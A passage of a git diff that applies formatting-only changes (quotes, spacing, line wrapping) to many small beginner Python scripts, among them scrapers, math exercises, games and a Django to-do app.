"https://www.knowyourgst.com/gst-number-search/by-name-pan/" - payload = {'gstnum': company_name, 'csrfmiddlewaretoken': csrf_token} + third_party_gstin_site = ( + "https://www.knowyourgst.com/gst-number-search/by-name-pan/" + ) + payload = {"gstnum": company_name, "csrfmiddlewaretoken": csrf_token} # Getting the HTML content and extracting the GSTIN content using BeautifulSoup. html_content = requests.post(third_party_gstin_site, data=payload) - soup = BeautifulSoup(html_content.text, 'html.parser') + soup = BeautifulSoup(html_content.text, "html.parser") site_results = soup.find_all(id="searchresult") # Extracting GSTIN specific values from child elements. @@ -46,23 +57,28 @@ def fetch_gstins(company_name, csrf_token): return gstins + def main(): temp = get_company_list() companies = temp if temp else demo_companies all_gstin_data = "" - third_party_gstin_site = "https://www.knowyourgst.com/gst-number-search/by-name-pan/" + third_party_gstin_site = ( + "https://www.knowyourgst.com/gst-number-search/by-name-pan/" + ) # Getting the CSRF value for further RESTful calls. page_with_csrf = requests.get(third_party_gstin_site) - soup = BeautifulSoup(page_with_csrf.text, 'html.parser') - csrf_token = soup.find('input', {"name": "csrfmiddlewaretoken"})['value'] + soup = BeautifulSoup(page_with_csrf.text, "html.parser") + csrf_token = soup.find("input", {"name": "csrfmiddlewaretoken"})["value"] for company in companies: gstins = fetch_gstins(company, csrf_token) # Only include GSTINs for Bengaluru and Mumbai-based companies - comma_separated_gstins = ', '.join([g for g in gstins if g.startswith(('27', '29'))]) + comma_separated_gstins = ", ".join( + [g for g in gstins if g.startswith(("27", "29"))] + ) all_gstin_data += f"{company} = {comma_separated_gstins}\n\n" @@ -72,5 +88,6 @@ def main(): # Printing the data print(all_gstin_data) + if __name__ == "__main__": main() diff --git a/gui_calculator.py b/gui_calculator.py index 435b38972d1..e0fa630e427 100644 --- a/gui_calculator.py +++ b/gui_calculator.py @@ -6,6 +6,7 @@ w.title("Calculatorax") w.configure(bg="#03befc") + # Functions(Keypad) def calc1(): b = txt1.get() diff --git a/happy_num.py b/happy_num.py index 1ea217f6059..d2d30dde99a 100644 --- a/happy_num.py +++ b/happy_num.py @@ -1,45 +1,43 @@ -#Way2 1: - -#isHappyNumber() will determine whether a number is happy or not -def isHappyNumber(num): - rem = sum = 0 - - #Calculates the sum of squares of digits - while(num > 0): - rem = num%10 - sum = sum + (rem*rem) - num = num//10 - return sum - -num = 82 -result = num - -while(result != 1 and result != 4): - result = isHappyNumber(result) - -#Happy number always ends with 1 -if(result == 1): - print(str(num) + " is a happy number after apply way 1") -#Unhappy number ends in a cycle of repeating numbers which contain 4 -elif(result == 4): - print(str(num) + " is not a happy number after apply way 1") - - - - - -#way 2: - -#Another way to do this and code is also less -n=num -setData=set() #set datastructure for checking a number is repeated or not. +# Way2 1: + +# isHappyNumber() will determine whether a number is happy or not +def isHappyNumber(num): + rem = sum = 0 + + # Calculates the sum of squares of digits + while num > 0: + rem = num % 10 + sum = sum + (rem * rem) + num = num // 10 + return sum + + +num = 82 +result = num + +while result != 1 and result != 4: + result = isHappyNumber(result) + +# Happy number always ends with 1 +if result == 1: + print(str(num) + " is a happy number after apply way 1") +# Unhappy number ends in a cycle of repeating numbers which contain 4 +elif result == 4: + print(str(num) + " is not a happy number after apply way 1") + + +# way 2: + +# Another way to do this and code is also less +n = num +setData = set() # set datastructure for checking a number is repeated or not. while 1: - if n==1: - print("{} is a happy number after apply way 2".format(num)) - break - if n in setData: - print("{} is Not a happy number after apply way 2".format(num)) - break - else: - setData.add(n) #adding into set if not inside set - n=int(''.join(str(sum([int(i)**2 for i in str(n)])))) #Pythonic way + if n == 1: + print("{} is a happy number after apply way 2".format(num)) + break + if n in setData: + print("{} is Not a happy number after apply way 2".format(num)) + break + else: + setData.add(n) # adding into set if not inside set + n = int("".join(str(sum([int(i) ** 2 for i in str(n)])))) # Pythonic way diff --git a/how to add three numbers and find type in python.py b/how to add three numbers and find type in python.py index bc8ba8cd6d4..dbe4e228d3e 100644 --- a/how to add three numbers and find type in python.py +++ b/how to add three numbers and find type in python.py @@ -1,8 +1,8 @@ -#python program for adding three no. -x=45 -y=75 -z=25 -t=x+y+z +# python program for adding three no. +x = 45 +y = 75 +z = 25 +t = x + y + z print(t) -#type of output +# type of output print(type(t)) diff --git a/how to display the fibonacci sequence up to n-.py b/how to display the fibonacci sequence up to n-.py index 9f6b1b3d7ce..d6a70a574cd 100644 --- a/how to display the fibonacci sequence up to n-.py +++ b/how to display the fibonacci sequence up to n-.py @@ -8,16 +8,16 @@ # check if the number of terms is valid if nterms <= 0: - print("Please enter a positive integer") + print("Please enter a positive integer") elif nterms == 1: - print("Fibonacci sequence upto",nterms,":") - print(n1) + print("Fibonacci sequence upto", nterms, ":") + print(n1) else: - print("Fibonacci sequence:") - while count < nterms: - print(n1) - nth = n1 + n2 - # update values - n1 = n2 - n2 = nth - count += 1 + print("Fibonacci sequence:") + while count < nterms: + print(n1) + nth = n1 + n2 + # update values + n1 = n2 + n2 = nth + count += 1 diff --git a/image2pdf/image2pdf.py b/image2pdf/image2pdf.py index 0e1aa049aab..4a353dbfd52 100644 --- a/image2pdf/image2pdf.py +++ b/image2pdf/image2pdf.py @@ -6,13 +6,12 @@ class image2pdf: def __init__(self): self.validFormats = (".jpg", ".jpeg", ".png", ".JPG", ".PNG") self.pictures = [] - - self.directory = "" - self.isMergePDF = True + self.directory = "" + self.isMergePDF = True def getUserDir(self): - """ Allow user to choose image directory """ + """Allow user to choose image directory""" msg = "\n1. Current directory\n2. Custom directory\nEnter a number: " user_option = int(input(msg)) @@ -21,8 +20,10 @@ def getUserDir(self): while user_option <= 0 or user_option >= 3: user_option = int(input(f"\n*Invalid input*\n{msg}")) - self.directory = os.getcwd() if user_option == 1 else input("\nEnter custom directory: ") - + self.directory = ( + os.getcwd() if user_option == 1 else input("\nEnter custom directory: ") + ) + def filter(self, item): return item.endswith(self.validFormats) @@ -35,84 +36,94 @@ def getPictures(self): if not pictures: print(f" [Error] there are no pictures in the directory: {self.directory} ") return False - + print("Found picture(s) :") return pictures def selectPictures(self, pictures): - """ Allow user to manually pick each picture or merge all """ + """Allow user to manually pick each picture or merge all""" listedPictures = {} for index, pic in enumerate(pictures): - listedPictures[index+1] = pic - print(f"{index+1}: {pic}") - - userInput = input("\n Enter the number(s) - (comma seperated/no spaces) or (A or a) to merge All \nChoice: ").strip().lower() - + listedPictures[index + 1] = pic + print(f"{index + 1}: {pic}") + + userInput = ( + input( + "\n Enter the number(s) - (comma seperated/no spaces) or (A or a) to merge All \nChoice: " + ) + .strip() + .lower() + ) + if userInput != "a": # Convert user input (number) into corresponding (image title) pictures = ( - listedPictures.get(int(number)) for number in userInput.split(',') + listedPictures.get(int(number)) for number in userInput.split(",") ) self.isMergePDF = False return pictures - def convertPictures(self): """ - Convert pictures according the following: - * If pictures = 0 -> Skip - * If pictures = 1 -> use all - * Else -> allow user to pick pictures + Convert pictures according the following: + * If pictures = 0 -> Skip + * If pictures = 1 -> use all + * Else -> allow user to pick pictures - Then determine to merge all or one pdf + Then determine to merge all or one pdf """ pictures = self.getPictures() totalPictures = len(pictures) if pictures else 0 - + if totalPictures == 0: return - + elif totalPictures >= 2: pictures = self.selectPictures(pictures) - + if self.isMergePDF: - # All pics in one pdf. + # All pics in one pdf. for picture in pictures: - self.pictures.append(Image.open(f"{self.directory}\\{picture}").convert("RGB")) + self.pictures.append( + Image.open(f"{self.directory}\\{picture}").convert("RGB") + ) self.save() else: - # Each pic in seperate pdf. + # Each pic in seperate pdf. for picture in pictures: - self.save(Image.open(f"{self.directory}\\{picture}").convert("RGB"), picture, False) + self.save( + Image.open(f"{self.directory}\\{picture}").convert("RGB"), + picture, + False, + ) # Reset to default value for next run self.isMergePDF = True self.pictures = [] - print(f"\n{'#'*30}") + print(f"\n{'#' * 30}") print(" Done! ") - print(f"{'#'*30}\n") + print(f"{'#' * 30}\n") def save(self, image=None, title="All-PDFs", isMergeAll=True): # Save all to one pdf or each in seperate file if isMergeAll: self.pictures[0].save( - f"{self.directory}\\{title}.pdf", - save_all=True, - append_images=self.pictures[1:] + f"{self.directory}\\{title}.pdf", + save_all=True, + append_images=self.pictures[1:], ) - + else: image.save(f"{self.directory}\\{title}.pdf") if __name__ == "__main__": - # Get user directory only once process = image2pdf() process.getUserDir() @@ -120,7 +131,9 @@ def save(self, image=None, title="All-PDFs", isMergeAll=True): # Allow user to rerun any process while True: - user = input("Press (R or r) to Run again\nPress (C or c) to change directory\nPress (Any Key) To Exit\nchoice:").lower() + user = input( + "Press (R or r) to Run again\nPress (C or c) to change directory\nPress (Any Key) To Exit\nchoice:" + ).lower() match user: case "r": process.convertPictures() @@ -129,5 +142,3 @@ def save(self, image=None, title="All-PDFs", isMergeAll=True): process.convertPictures() case _: break - - diff --git a/index.py b/index.py index b89d747b62d..70cc71d708c 100644 --- a/index.py +++ b/index.py @@ -1,12 +1,10 @@ num = 11 -#Negative numbers, 0 and 1 are not primes +# Negative numbers, 0 and 1 are not primes if num > 1: - # Iterate from 2 to n // 2 - for i in range(2, (num//2)+1): - + for i in range(2, (num // 2) + 1): # If num is divisible by any number between - #2 and n / 2, it is not prime + # 2 and n / 2, it is not prime if (num % i) == 0: print(num, "is not a prime number") break diff --git a/inheritance_YahV1729.py b/inheritance_YahV1729.py index 3f55dfab1b3..7b59954fe61 100644 --- a/inheritance_YahV1729.py +++ b/inheritance_YahV1729.py @@ -1,35 +1,33 @@ +# A Python program to demonstrate inheritance -# A Python program to demonstrate inheritance +# Base or Super class. Note object in bracket. +# (Generally, object is made ancestor of all classes) +# In Python 3.x "class Person" is +# equivalent to "class Person(object)" +class Person(object): + # Constructor + def __init__(self, name): + self.name = name -# Base or Super class. Note object in bracket. -# (Generally, object is made ancestor of all classes) -# In Python 3.x "class Person" is -# equivalent to "class Person(object)" -class Person(object): - - # Constructor - def __init__(self, name): - self.name = name + # To get name + def getName(self): + return self.name - # To get name - def getName(self): - return self.name + # To check if this person is employee + def isEmployee(self): + return False - # To check if this person is employee - def isEmployee(self): - return False +# Inherited or Sub class (Note Person in bracket) +class Employee(Person): + # Here we return true + def isEmployee(self): + return True -# Inherited or Sub class (Note Person in bracket) -class Employee(Person): - # Here we return true - def isEmployee(self): - return True +# Driver code +emp = Person("Geek1") # An Object of Person +print(emp.getName(), emp.isEmployee()) -# Driver code -emp = Person("Geek1") # An Object of Person -print(emp.getName(), emp.isEmployee()) - -emp = Employee("Geek2") # An Object of Employee -print(emp.getName(), emp.isEmployee()) +emp = Employee("Geek2") # An Object of Employee +print(emp.getName(), emp.isEmployee()) diff --git a/insta_image_saving/instagram_image_scrapping.ipynb b/insta_image_saving/instagram_image_scrapping.ipynb index 0d5d2e5ad35..dd002beb20d 100644 --- a/insta_image_saving/instagram_image_scrapping.ipynb +++ b/insta_image_saving/instagram_image_scrapping.ipynb @@ -38,15 +38,15 @@ "driver = webdriver.Chrome(\"driver/driver\")\n", "driver.get(instaccountlink)\n", "unique_urls = []\n", - "while i<300:\n", - " i = i +1\n", + "while i < 300:\n", + " i = i + 1\n", " sel = Selector(text=driver.page_source)\n", - " \n", + "\n", " url = sel.xpath('//div[@class=\"v1Nh3 kIKUG _bz0w\"]/a/@href').extract()\n", " for u in url:\n", " if u not in unique_urls:\n", " unique_urls.append(u)\n", - " \n", + "\n", " driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n", " sel = Selector(text=driver.page_source)\n", " url = sel.xpath('//div[@class=\"v1Nh3 kIKUG _bz0w\"]/a/@href').extract()\n", @@ -54,7 +54,7 @@ " for u in url:\n", " if u not in unique_urls:\n", " unique_urls.append(u)\n", - " \n", + "\n", "driver.quit()\n", "print(len(unique_urls))" ] @@ -73,8 +73,8 @@ } ], "source": [ - "file = open(\"output/audi_instagram_11_07_2019.csv\",\"a\")\n", - "for u in unique_urls :\n", + "file = open(\"output/audi_instagram_11_07_2019.csv\", \"a\")\n", + "for u in unique_urls:\n", " file.write(u)\n", " file.write(\"\\n\")\n", "file.close()\n", @@ -88,48 +88,49 @@ "outputs": [], "source": [ "# saving the images to specified directory\n", - "driver = webdriver.Chrome('driver/driver')\n", + "driver = webdriver.Chrome(\"driver/driver\")\n", "\n", "image_urls = []\n", "count = 0\n", - "max_no_of_iteration=250\n", + "max_no_of_iteration = 250\n", "for u in unique_urls:\n", " try:\n", - " driver.get('http://instagram.com'+u)\n", + " driver.get(\"http://instagram.com\" + u)\n", " sel = Selector(text=driver.page_source)\n", "\n", - " src= sel.xpath('//div/img/@src').extract()[0]\n", - "# print(src)\n", + " src = sel.xpath(\"//div/img/@src\").extract()[0]\n", + " # print(src)\n", " r = requests.get(src)\n", - " \n", + "\n", " image = Image.open(BytesIO(r.content))\n", - "# path = \"C:/Users/carbon/Desktop/output/\"+instaAccountName+str(count)+\".\" + image.format \n", - " path = \"output/\"+instaaccountname+str(count)+\".\" + image.format\n", - "# print(image.size, image.format, image.mode)\n", - " q1=''\n", - " q2=''\n", + " # path = \"C:/Users/carbon/Desktop/output/\"+instaAccountName+str(count)+\".\" + image.format\n", + " path = \"output/\" + instaaccountname + str(count) + \".\" + image.format\n", + " # print(image.size, image.format, image.mode)\n", + " q1 = \"\"\n", + " q2 = \"\"\n", " try:\n", " image.save(path, image.format)\n", - " q1 = instaaccountname+str(count)\n", - " q2 = sel.xpath('//span/span/text()').extract_first()\n", - "# print(q1)\n", - "# print(q2)\n", + " q1 = instaaccountname + str(count)\n", + " q2 = sel.xpath(\"//span/span/text()\").extract_first()\n", + " # print(q1)\n", + " # print(q2)\n", "\n", " except IOError:\n", - " q1=''\n", - " q2=''\n", - " imageID.insert(len(imageID),q1)\n", - " imageLikes.insert(len(imageLikes),q2)\n", - " sl_no.insert(len(sl_no),str(count))\n", + " q1 = \"\"\n", + " q2 = \"\"\n", + " imageID.insert(len(imageID), q1)\n", + " imageLikes.insert(len(imageLikes), q2)\n", + " sl_no.insert(len(sl_no), str(count))\n", " count = count + 1\n", " if count > max_no_of_iteration:\n", " driver.quit()\n", - " df = pd.DataFrame({'ImageID':imageID,'Sl_no':sl_no, 'ImageLikes':imageLikes})\n", - " fileName = instaaccountname+str('.csv')\n", + " df = pd.DataFrame(\n", + " {\"ImageID\": imageID, \"Sl_no\": sl_no, \"ImageLikes\": imageLikes}\n", + " )\n", + " fileName = instaaccountname + str(\".csv\")\n", " df.to_csv(fileName, index=False)\n", " break\n", "\n", - "\n", " except:\n", " pass\n", "\n", diff --git a/insta_monitering/insta_datafetcher.py b/insta_monitering/insta_datafetcher.py index 8c5ed78b902..04b58df4052 100644 --- a/insta_monitering/insta_datafetcher.py +++ b/insta_monitering/insta_datafetcher.py @@ -104,7 +104,6 @@ async def request_pull(url): class MoniteringClass: def __init__(self, user, tags, type, productId): - try: self.mon = pymongo.MongoClient(host=config.host, port=config.mongoPort) db = self.mon[productId + ":" + user + ":insta"] diff --git a/kilo_to_miles.py b/kilo_to_miles.py index ff33cd208c5..dea08b7d8cd 100644 --- a/kilo_to_miles.py +++ b/kilo_to_miles.py @@ -1,4 +1,3 @@ -user= float(input("enter kilometers here.. ")) -miles= user*0.621371 +user = float(input("enter kilometers here.. ")) +miles = user * 0.621371 print(f"{user} kilometers equals to {miles:.2f} miles") - diff --git a/kmp_str_search.py b/kmp_str_search.py index cae439949b9..6ee108c9ca5 100644 --- a/kmp_str_search.py +++ b/kmp_str_search.py @@ -1,11 +1,11 @@ """Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) - The Knuth-Morris-Pratt Algorithm for finding a pattern within a piece of te$ - with complexity O(n + m) - 1) Preprocess pattern to identify any suffixes that are identical to prefix$ - This tells us where to continue from if we get a mismatch between a cha$ - and the text. - 2) Step through the text one character at a time and compare it to a charac$ - updating our location within the pattern if necessary +The Knuth-Morris-Pratt Algorithm for finding a pattern within a piece of te$ +with complexity O(n + m) +1) Preprocess pattern to identify any suffixes that are identical to prefix$ + This tells us where to continue from if we get a mismatch between a cha$ + and the text. +2) Step through the text one character at a time and compare it to a charac$ + updating our location within the pattern if necessary """ diff --git a/large_files_reading.py b/large_files_reading.py index a5ce0936f8a..b2f10a410c5 100644 --- a/large_files_reading.py +++ b/large_files_reading.py @@ -1,4 +1,6 @@ -with open("new_project.txt", "r" , encoding="utf-8") as file: # replace "largefile.text" with your actual file name or with absoulte path -# encoding = "utf-8" is especially used when the file contains special characters.... +with open( + "new_project.txt", "r", encoding="utf-8" +) as file: # replace "largefile.text" with your actual file name or with absoulte path + # encoding = "utf-8" is especially used when the file contains special characters.... for f in file: print(f.strip()) diff --git a/largestno.py b/largestno.py index 0edc35dbe01..53934770163 100644 --- a/largestno.py +++ b/largestno.py @@ -1,7 +1,7 @@ # Python Program to find Largest of two Numbers using if-else statements a = int(input("Enter the first number: ")) b = int(input("Enter the second number: ")) -if(a >= b): - print(a, "is greater") +if a >= b: + print(a, "is greater") else: - print(b, "is greater") + print(b, "is greater") diff --git a/lcm.py b/lcm.py index c2d5b9731cc..2f0bcf14509 100644 --- a/lcm.py +++ b/lcm.py @@ -1,30 +1,30 @@ def lcm(x, y): """ - Find least common multiple of 2 positive integers. - :param x: int - first integer - :param y: int - second integer - :return: int - least common multiple + Find least common multiple of 2 positive integers. + :param x: int - first integer + :param y: int - second integer + :return: int - least common multiple - >>> lcm(8, 4) - 8 - >>> lcm(5, 3) - 15 - >>> lcm(15, 9) - 45 - >>> lcm(124, 23) - 2852 - >>> lcm(3, 6) - 6 - >>> lcm(13, 34) - 442 - >>> lcm(235, 745) - 35015 - >>> lcm(65, 86) - 5590 - >>> lcm(0, 1) - -1 - >>> lcm(-12, 35) - -1 + >>> lcm(8, 4) + 8 + >>> lcm(5, 3) + 15 + >>> lcm(15, 9) + 45 + >>> lcm(124, 23) + 2852 + >>> lcm(3, 6) + 6 + >>> lcm(13, 34) + 442 + >>> lcm(235, 745) + 35015 + >>> lcm(65, 86) + 5590 + >>> lcm(0, 1) + -1 + >>> lcm(-12, 35) + -1 """ if x <= 0 or y <= 0: return -1 diff --git a/leap year.py b/leap year.py index 1e7739189a4..dbced17c6e2 100644 --- a/leap year.py +++ b/leap year.py @@ -6,12 +6,12 @@ # year = int(input("Enter a year: ")) if (year % 4) == 0: - if (year % 100) == 0: - if (year % 400) == 0: - print("{0} is a leap year".format(year)) - else: - print("{0} is not a leap year".format(year)) - else: - print("{0} is a leap year".format(year)) + if (year % 100) == 0: + if (year % 400) == 0: + print("{0} is a leap year".format(year)) + else: + print("{0} is not a leap year".format(year)) + else: + print("{0} is a leap year".format(year)) else: - print("{0} is not a leap year".format(year)) + print("{0} is not a leap year".format(year)) diff --git a/levenshtein_distance.py b/levenshtein_distance.py index 1dde234f490..11cbb2c9dad 100644 --- a/levenshtein_distance.py +++ b/levenshtein_distance.py @@ -1,5 +1,4 @@ def levenshtein_dis(wordA, wordB): - wordA = wordA.lower() # making the wordA lower case wordB = wordB.lower() # making the wordB lower case diff --git a/linear search.py b/linear search.py index 781894f7b47..b1bda494a43 100644 --- a/linear search.py +++ b/linear search.py @@ -1,10 +1,13 @@ -#Author : ShankRoy +# Author : ShankRoy + def linearsearch(arr, x): - for i in range(len(arr)): - if arr[i] == x: - return i - return -1 -arr = ['t','u','t','o','r','i','a','l'] -x = 'a' -print("element found at index "+str(linearsearch(arr,x))) + for i in range(len(arr)): + if arr[i] == x: + return i + return -1 + + +arr = ["t", "u", "t", "o", "r", "i", "a", "l"] +x = "a" +print("element found at index " + str(linearsearch(arr, x))) diff --git a/linear-algebra-python/src/lib.py b/linear-algebra-python/src/lib.py index 9719d915bd2..a58651dbc55 100644 --- a/linear-algebra-python/src/lib.py +++ b/linear-algebra-python/src/lib.py @@ -100,7 +100,7 @@ def eulidLength(self): """ summe = 0 for c in self.__components: - summe += c ** 2 + summe += c**2 return math.sqrt(summe) def __add__(self, other): diff --git a/linear_search.py b/linear_search.py index a4cb39f9cdb..0a005cbcfe2 100644 --- a/linear_search.py +++ b/linear_search.py @@ -8,4 +8,4 @@ print(f"\n{x} found at position {position}") else: print(f"list: {list}") - print(f"{x} is not in list") \ No newline at end of file + print(f"{x} is not in list") diff --git a/loader.py b/loader.py index 7ce80fef603..41838271f63 100644 --- a/loader.py +++ b/loader.py @@ -1,5 +1,5 @@ """ -Shaurya Pratap Singh +Shaurya Pratap Singh @shaurya-blip Shows loading message while doing something. diff --git a/local_weighted_learning/local_weighted_learning.py b/local_weighted_learning/local_weighted_learning.py index a3a911c4306..193b82da738 100644 --- a/local_weighted_learning/local_weighted_learning.py +++ b/local_weighted_learning/local_weighted_learning.py @@ -20,7 +20,7 @@ def weighted_matrix(point: np.mat, training_data_x: np.mat, bandwidth: float) -> # calculating weights for all training examples [x(i)'s] for j in range(m): diff = point - training_data[j] - weights[j, j] = np.exp(diff * diff.T / (-2.0 * bandwidth ** 2)) + weights[j, j] = np.exp(diff * diff.T / (-2.0 * bandwidth**2)) return weights diff --git a/login.py b/login.py index 8095f4f4e54..d4844b261f1 100644 --- a/login.py +++ b/login.py @@ -1,6 +1,7 @@ import os from getpass import getpass + # Devloped By Black_angel # This is Logo Function def logo(): diff --git a/loops.py b/loops.py index 50d4ac6ef7b..985ffb8af4e 100644 --- a/loops.py +++ b/loops.py @@ -1,11 +1,11 @@ -# 2 loops +# 2 loops # for loop: """ Syntax.. -> "range" : starts with 0. --> The space after the space is called as identiation, python generally identifies the block of code with the help of indentation, +-> The space after the space is called as identiation, python generally identifies the block of code with the help of indentation, indentation is generally 4 spaces / 1 tab space.. @@ -13,9 +13,9 @@ statements you want to execute for in : - print() + print() To print the list / or any iterator items - + """ # 1. for with range... @@ -25,16 +25,16 @@ # 2.for with list -l1=[1,2,3,78,98,56,52] +l1 = [1, 2, 3, 78, 98, 56, 52] for i in l1: - print("list items",i) + print("list items", i) # prints list items one by one.... for i in "ABC": print(i) # while loop: -i=0 -while i<=5: +i = 0 +while i <= 5: print("hello.. with while") - i+=1 \ No newline at end of file + i += 1 diff --git a/mobilePhoneSpecsScrapper.py b/mobilePhoneSpecsScrapper.py index fc36b1c85b3..b749e210a0f 100644 --- a/mobilePhoneSpecsScrapper.py +++ b/mobilePhoneSpecsScrapper.py @@ -21,7 +21,6 @@ def __init__(self): self.absolute_path = os.getcwd().strip() + "/" + self.new_folder_name def crawl_html_page(self, sub_url): - url = sub_url # Url for html content parsing. # Handing the connection error of the url. diff --git a/multiple_comditions.py b/multiple_comditions.py index 68ebd1f94e5..6da636d5288 100644 --- a/multiple_comditions.py +++ b/multiple_comditions.py @@ -5,10 +5,10 @@ print("in first if") elif user == 2: print("in second if") - elif user ==3: + elif user == 3: print("in third if") else: - print("Enter numbers b/w the range of 1-3") + print("Enter numbers b/w the range of 1-3") except: print("enter only digits") @@ -19,4 +19,4 @@ if condition, even though it's already decided that the first condition worked. This makes the program do more work than necessary. On the other hand, when you use elif, if one condition is satisfied, the program exits the rest of the conditions and doesn't continue checking. It’s more efficient and clean, as it immediately moves to the correct option without unnecessary steps. -""" \ No newline at end of file +""" diff --git a/multiplication_table.py b/multiplication_table.py index f659f4289d9..70045ed10e7 100644 --- a/multiplication_table.py +++ b/multiplication_table.py @@ -20,15 +20,15 @@ def table(rows, columns): columns = int(columns) rows = int(rows) - for r in range(1, rows+1): + for r in range(1, rows + 1): c = r - print(r, end='\t') + print(r, end="\t") i = 0 - while columns-1 > i: - print(c+r, end='\t') - c = c+r + while columns - 1 > i: + print(c + r, end="\t") + c = c + r i += 1 - print('\n') + print("\n") table(rows, columns) diff --git a/nDigitNumberCombinations.py b/nDigitNumberCombinations.py index caad36e5e8d..5a17739615d 100644 --- a/nDigitNumberCombinations.py +++ b/nDigitNumberCombinations.py @@ -1,7 +1,7 @@ # ALL the combinations of n digit combo def nDigitCombinations(n): try: - npow = 10 ** n + npow = 10**n numbers = [] for code in range(npow): code = str(code).zfill(n) diff --git a/new_pattern.py b/new_pattern.py index 6c5120eb586..f96cb1f49f0 100644 --- a/new_pattern.py +++ b/new_pattern.py @@ -1,25 +1,28 @@ -#pattern -#@@@@@@@@ $ -#@@@@@@@ $$ -#@@@@@@ $$$ -#@@@@@ $$$$ -#@@@@ $$$$$ -#@@@ $$$$$$ -#@@ $$$$$$$ -#@ $$$$$$$$ +# pattern +# @@@@@@@@ $ +# @@@@@@@ $$ +# @@@@@@ $$$ +# @@@@@ $$$$ +# @@@@ $$$$$ +# @@@ $$$$$$ +# @@ $$$$$$$ +# @ $$$$$$$$ + def main(): lines = int(input("Enter no.of lines: ")) pattern(lines) -def pattern(lines): - t = 1 - for i in range(lines,0,-1): - nxt_pattern = "$"*t - pattern = "@"*(i) - final_pattern = pattern + " " + nxt_pattern - print(final_pattern) - t = t +1 + +def pattern(lines): + t = 1 + for i in range(lines, 0, -1): + nxt_pattern = "$" * t + pattern = "@" * (i) + final_pattern = pattern + " " + nxt_pattern + print(final_pattern) + t = t + 1 + if __name__ == "__main__": main() diff --git a/news_articles__scraper.py b/news_articles__scraper.py index c16c4db0290..a9266ad0a58 100644 --- a/news_articles__scraper.py +++ b/news_articles__scraper.py @@ -54,7 +54,6 @@ fakearticle_links[1888:] - """We have to modify the links so that the links actually work as we can see that the string extracted is the last part of the url! **We have to add 'https://www.boomlive.in/fake-news' to the extracted links.** @@ -143,9 +142,7 @@ """**Scraping news from Times of India**""" -TOIarticle_links = ( - [] -) # Creating an empty list of all the urls of news from Times of India site +TOIarticle_links = [] # Creating an empty list of all the urls of news from Times of India site # Extracting links for all the pages (2 to 125) of boomlive fake news section for i in range(2, 126): diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/manage.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/manage.py index 5f76663dd2c..d456ef2cbd1 100644 --- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/manage.py +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/manage.py @@ -1,5 +1,6 @@ #!/usr/bin/env python """Django's command-line utility for administrative tasks.""" + import os import sys diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/tests.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/tests.py index 49290204899..a39b155ac3e 100644 --- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/tests.py +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/tests.py @@ -1,2 +1 @@ - # Create your tests here. diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py index 931228df1ec..f6453e063be 100644 --- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo/views.py @@ -28,6 +28,7 @@ def index(request): ### Function to remove item, it receives todo item_id as primary key from url ## + def remove(request, item_id): item = Todo.objects.get(id=item_id) item.delete() diff --git a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/urls.py b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/urls.py index 226e326827f..1c0e6458be6 100644 --- a/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/urls.py +++ b/nitkarshchourasia/to_sort/django_projects/ToDo_webapp/todo_site/urls.py @@ -14,6 +14,7 @@ 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ + from django.contrib import admin from django.urls import path from todo import views diff --git a/notepad/notepad_support.py b/notepad/notepad_support.py index 39a27d63b0e..c24a9c9f075 100644 --- a/notepad/notepad_support.py +++ b/notepad/notepad_support.py @@ -17,7 +17,6 @@ py3 = 0 except ImportError: - py3 = 1 # connect with database 'data.db' diff --git a/num-py.py b/num-py.py index af365bd585d..fb992d8c141 100644 --- a/num-py.py +++ b/num-py.py @@ -1,12 +1,13 @@ import numpy as np + # to check if shape are equal and find there power def get_array(x, y): a = np.shape(x) b = np.shape(y) if a == b: - np_pow_array = x ** y + np_pow_array = x**y print("Array of powers without using np.power: ", np_pow_array) print("Array of powers using np.power: ", np.power(x, y)) diff --git a/number guessing.py b/number guessing.py index 25add25a64d..13ac2cf4198 100644 --- a/number guessing.py +++ b/number guessing.py @@ -1,15 +1,24 @@ import random + attempts_list = [] + + def show_score(): if len(attempts_list) <= 0: print("There is currently no high score, it's yours for the taking!") else: print("The current high score is {} attempts".format(min(attempts_list))) + + def start_game(): random_number = int(random.randint(1, 10)) print("Hello traveler! Welcome to the game of guesses!") player_name = input("What is your name? ") - wanna_play = input("Hi, {}, would you like to play the guessing game? (Enter Yes/No) ".format(player_name)) + wanna_play = input( + "Hi, {}, would you like to play the guessing game? (Enter Yes/No) ".format( + player_name + ) + ) # Where the show_score function USED to be attempts = 0 show_score() @@ -41,5 +50,7 @@ def start_game(): print("({})".format(err)) else: print("That's cool, have a good one!") -if __name__ == '__main__': + + +if __name__ == "__main__": start_game() diff --git a/numberguessinggame/index.py b/numberguessinggame/index.py index 3116af47dce..5b169817173 100644 --- a/numberguessinggame/index.py +++ b/numberguessinggame/index.py @@ -1,7 +1,7 @@ import random + def number_guessing_game(): - secret_number = random.randint(1, 100) attempts = 0 @@ -18,11 +18,14 @@ def number_guessing_game(): elif guess > secret_number: print("Too high! Try again.") else: - print(f"Congratulations! You guessed the number {secret_number} in {attempts} attempts!") + print( + f"Congratulations! You guessed the number {secret_number} in {attempts} attempts!" + ) break except ValueError: print("Please enter a valid number.") + if __name__ == "__main__": number_guessing_game() diff --git a/numeric_password_cracker.py b/numeric_password_cracker.py index aaf48ac144d..2a6215c9a64 100644 --- a/numeric_password_cracker.py +++ b/numeric_password_cracker.py @@ -1,5 +1,6 @@ import itertools + def generate_password_permutations(length): # Generate numeric password permutations of the given length digits = "0123456789" @@ -7,6 +8,7 @@ def generate_password_permutations(length): password = 